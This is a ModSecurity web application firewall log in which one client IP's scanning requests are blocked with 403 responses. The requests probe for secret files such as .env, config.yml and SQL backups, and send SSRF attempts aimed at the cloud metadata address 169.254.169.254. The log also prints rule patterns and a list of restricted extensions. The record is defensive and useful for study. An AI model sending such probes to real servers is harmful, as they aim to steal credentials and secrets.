[Sun Mar 22 01:06:13.766683 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/config/config.yml&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhbAAAAAU&quot;]
[Sun Mar 22 01:06:13.766804 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/config/config.yml&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhbAAAAAU&quot;]
[Sun Mar 22 01:06:13.788651 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/db.sql&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhbQAAAAU&quot;]
[Sun Mar 22 01:06:13.789007 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/db.sql&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhbQAAAAU&quot;]
[Sun Mar 22 01:06:13.789126 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/db.sql&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhbQAAAAU&quot;]
[Sun Mar 22 01:06:13.811170 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/db_backup.sql&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhbgAAAAU&quot;]
[Sun Mar 22 01:06:13.811529 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/db_backup.sql&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhbgAAAAU&quot;]
[Sun Mar 22 01:06:13.811651 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/db_backup.sql&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhbgAAAAU&quot;]
[Sun Mar 22 01:06:13.901716 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/debug&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhcgAAAAU&quot;]
[Sun Mar 22 01:06:13.902042 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/debug&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhcgAAAAU&quot;]
[Sun Mar 22 01:06:13.902176 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/debug&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhcgAAAAU&quot;]
[Sun Mar 22 01:06:14.037656 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/internal-aws&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DheAAAAAU&quot;]
[Sun Mar 22 01:06:14.037959 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/internal-aws&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DheAAAAAU&quot;]
[Sun Mar 22 01:06:14.038080 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/internal-aws&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DheAAAAAU&quot;]
[Sun Mar 22 01:06:14.195846 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhfwAAAAU&quot;]
[Sun Mar 22 01:06:14.196106 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhfwAAAAU&quot;]
[Sun Mar 22 01:06:14.196282 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhfwAAAAU&quot;]
[Sun Mar 22 01:06:14.241044 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhgQAAAAU&quot;]
[Sun Mar 22 01:06:14.241238 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhgQAAAAU&quot;]
[Sun Mar 22 01:06:14.241381 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhgQAAAAU&quot;]
[Sun Mar 22 01:06:14.557468 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/proxy&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhjwAAAAU&quot;]
[Sun Mar 22 01:06:14.557787 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/proxy&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhjwAAAAU&quot;]
[Sun Mar 22 01:06:14.557910 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/proxy&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhjwAAAAU&quot;]
[Sun Mar 22 01:06:14.717259 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.js.bak&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhlgAAAAU&quot;]
[Sun Mar 22 01:06:14.717651 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.js.bak&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhlgAAAAU&quot;]
[Sun Mar 22 01:06:14.717799 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.js.bak&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhlgAAAAU&quot;]
[Sun Mar 22 01:06:14.785809 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhmQAAAAU&quot;]
[Sun Mar 22 01:06:14.786015 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhmQAAAAU&quot;]
[Sun Mar 22 01:06:14.786165 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhmQAAAAU&quot;]
[Sun Mar 22 01:06:14.853559 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhnAAAAAU&quot;]
[Sun Mar 22 01:06:14.853747 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhnAAAAAU&quot;]
